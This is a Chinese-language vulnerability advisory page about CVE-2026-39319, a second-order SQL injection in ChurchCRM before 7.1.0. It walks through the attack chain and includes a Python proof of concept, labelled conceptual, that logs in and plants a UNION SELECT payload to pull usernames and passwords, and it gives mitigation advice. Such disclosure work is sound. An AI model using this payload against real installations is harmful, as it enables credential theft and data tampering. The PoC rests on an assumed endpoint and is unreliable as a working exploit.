IPBUF安全漏洞报告
English
CVE-2026-39319 CVSS 8.8 高危

CVE-2026-39319 ChurchCRM二阶SQL注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39319
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入二阶注入ChurchCRMCVE-2026-39319高危

漏洞概述

ChurchCRM是一款开源的教堂管理系统。在7.1.0版本之前,其/FundRaiserEditor.php端点存在二阶SQL注入漏洞。已认证的低权限攻击者可通过iCurrentFundraiser PHP会话参数注入任意SQL语句。该漏洞允许攻击者绕过部分安全检查,从数据库中提取敏感信息或篡改数据,对系统的机密性、完整性和可用性构成严重威胁。

技术细节

该漏洞的根本原因在于ChurchCRM未能正确清理存储在PHP会话中的用户输入。漏洞发生在/FundRaiserEditor.php端点,这是一个典型的二阶SQL注入场景。首先,攻击者以普通用户身份登录系统,通过某种交互将恶意SQL代码写入iCurrentFundraiser会话参数。此时,输入被存储但未被执行。随后,当系统处理募捐编辑功能时,会直接从会话中读取该参数值,并将其动态拼接到SQL查询语句中,未经过滤或使用参数化查询。这种延迟执行的特性使得攻击者可以绕过针对即时输入的防御机制。一旦SQL语句被执行,攻击者即可利用UNION查询等技巧提取敏感数据,甚至通过UPDATE或DELETE命令破坏数据库完整性。由于利用门槛低,该漏洞危害极大。

攻击链分析

STEP 1
1. 获取低权限账号
攻击者注册或获取ChurchCRM系统的普通用户账号,完成身份验证。
STEP 2
2. 注入恶意载荷
攻击者通过系统接口,将包含SQL语句的恶意数据注入到PHP会话参数iCurrentFundraiser中。
STEP 3
3. 触发漏洞执行
攻击者访问/FundRaiserEditor.php端点,后端代码直接从会话中读取受污染的参数并拼接到SQL查询中执行。
STEP 4
4. 数据窃取或篡改
利用SQL注入漏洞,攻击者从数据库提取敏感信息(如用户凭据)或修改/删除数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual Proof of Concept for CVE-2026-39319 import requests target = "http://victim-churchcrm.com" login_url = f"{target}/session/begin" vuln_url = f"{target}/FundRaiserEditor.php" s = requests.Session() # Step 1: Authenticate with a low-privilege user payload_login = { "User": "attacker", "Password": "password123" } s.post(login_url, data=payload_login) # Step 2: Inject malicious payload into session variable 'iCurrentFundraiser' # The application stores this value in the session without sanitization # Assuming an endpoint like 'SelectFundraiser' sets this session variable sql_payload = "1' UNION SELECT NULL, username, password, NULL FROM users -- -" s.post(f"{target}/api/fundraisers/select", data={"id": sql_payload}) # Step 3: Trigger the Second-Order SQL Injection # Accessing the editor page triggers the query using the stored session value response = s.get(vuln_url) # Step 4: Verify exploitation if response.status_code == 200: print("Vulnerability triggered! Check response for data leakage.") print(response.text[:500])

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
如果无法立即升级,建议限制对/FundRaiserEditor.php端点的网络访问,仅允许可信IP访问。同时,应部署Web应用防火墙(WAF)规则,以检测和拦截针对会话参数的SQL注入尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表